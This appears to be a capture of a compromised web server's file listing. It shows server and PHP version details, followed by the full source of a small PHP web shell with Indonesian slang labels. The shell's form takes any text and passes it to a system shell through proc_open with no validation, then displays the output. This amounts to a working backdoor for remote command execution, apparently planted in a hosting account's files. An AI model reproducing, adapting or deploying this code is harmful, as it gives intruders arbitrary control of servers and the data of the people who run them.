|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/thump/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Aw sakit :( , Mentok ih...</title>
</head>
<body>
<h2>Aw sakit :( , Mentok ih...</h2>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
<input type="text" name="command" placeholder="sakit beb">
<button type="submit">mentok</button>
</form>
<?php
// Function to execute command with proc_open
function execute_command_with_proc_open($command) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w"), // stderr
);
$process = proc_open('sh', $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command . " 2>&1\n"); // redirect stderr to stdout
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[2]);
// It's important to wait for the process to finish
proc_close($process);
return empty($error) ? $output : $error;
}
return "proc_open function is disabled or failed to execute.";
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Get the command from the form input
$command = $_POST["command"];
// Validate the command (you should implement your own validation logic here)
// Execute the command using the function
$result = execute_command_with_proc_open($command);
// Display the result
echo "<h2>crot awhhhhhh</h2>";
echo "<pre>" . htmlspecialchars($result) . "</pre>";
}
?>
</body>
</html>